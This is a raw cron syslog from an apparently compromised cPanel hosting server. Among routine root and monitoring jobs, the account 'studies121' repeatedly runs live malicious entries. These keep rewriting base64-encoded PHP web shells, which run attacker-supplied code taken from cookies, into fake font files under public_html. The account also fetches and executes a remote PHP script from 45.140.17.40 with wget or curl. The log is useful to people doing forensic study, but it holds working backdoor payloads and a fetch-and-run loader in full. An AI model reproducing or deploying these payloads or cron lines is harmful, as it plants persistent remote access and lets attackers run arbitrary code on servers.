Sep  5 02:07:01 ip-184-168-122-23 CROND[22750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:07:01 ip-184-168-122-23 CROND[22753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:08:01 ip-184-168-122-23 CROND[22869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:08:01 ip-184-168-122-23 CROND[22871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:08:01 ip-184-168-122-23 CROND[22873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:08:01 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:08:01 ip-184-168-122-23 CROND[22875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:09:01 ip-184-168-122-23 CROND[22958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:09:01 ip-184-168-122-23 CROND[22962]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 02:09:01 ip-184-168-122-23 CROND[22960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:09:01 ip-184-168-122-23 CROND[22963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:09:01 ip-184-168-122-23 CROND[22961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:10:01 ip-184-168-122-23 CROND[23082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:10:01 ip-184-168-122-23 CROND[23080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:10:01 ip-184-168-122-23 CROND[23086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:10:01 ip-184-168-122-23 CROND[23084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:10:01 ip-184-168-122-23 CROND[23085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:10:01 ip-184-168-122-23 CROND[23079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:10:01 ip-184-168-122-23 CROND[23083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:10:01 ip-184-168-122-23 CROND[23081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:11:01 ip-184-168-122-23 CROND[23279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:11:01 ip-184-168-122-23 CROND[23278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:11:01 ip-184-168-122-23 CROND[23280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:11:01 ip-184-168-122-23 CROND[23281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:12:02 ip-184-168-122-23 CROND[23363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:12:02 ip-184-168-122-23 CROND[23365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:12:02 ip-184-168-122-23 CROND[23364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:12:02 ip-184-168-122-23 CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:12:02 ip-184-168-122-23 CROND[23366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:13:01 ip-184-168-122-23 CROND[23465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:13:01 ip-184-168-122-23 CROND[23466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:13:01 ip-184-168-122-23 CROND[23468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:13:01 ip-184-168-122-23 CROND[23467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:14:01 ip-184-168-122-23 CROND[23568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:14:01 ip-184-168-122-23 CROND[23570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:14:01 ip-184-168-122-23 CROND[23569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:14:01 ip-184-168-122-23 CROND[23571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:14:01 ip-184-168-122-23 CROND[23572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:15:01 ip-184-168-122-23 CROND[23666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23669]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:15:01 ip-184-168-122-23 CROND[23668]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:16:01 ip-184-168-122-23 CROND[23758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:16:01 ip-184-168-122-23 CROND[23759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:16:01 ip-184-168-122-23 CROND[23760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:16:01 ip-184-168-122-23 CROND[23762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:16:01 ip-184-168-122-23 CROND[23763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:16:01 ip-184-168-122-23 CROND[23761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:17:01 ip-184-168-122-23 CROND[23852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:17:01 ip-184-168-122-23 CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:17:01 ip-184-168-122-23 CROND[23853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:17:01 ip-184-168-122-23 CROND[23854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:18:01 ip-184-168-122-23 CROND[24034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:18:01 ip-184-168-122-23 CROND[24033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:18:01 ip-184-168-122-23 CROND[24035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:18:01 ip-184-168-122-23 CROND[24036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:18:01 ip-184-168-122-23 CROND[24037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:19:01 ip-184-168-122-23 CROND[24117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:19:01 ip-184-168-122-23 CROND[24118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
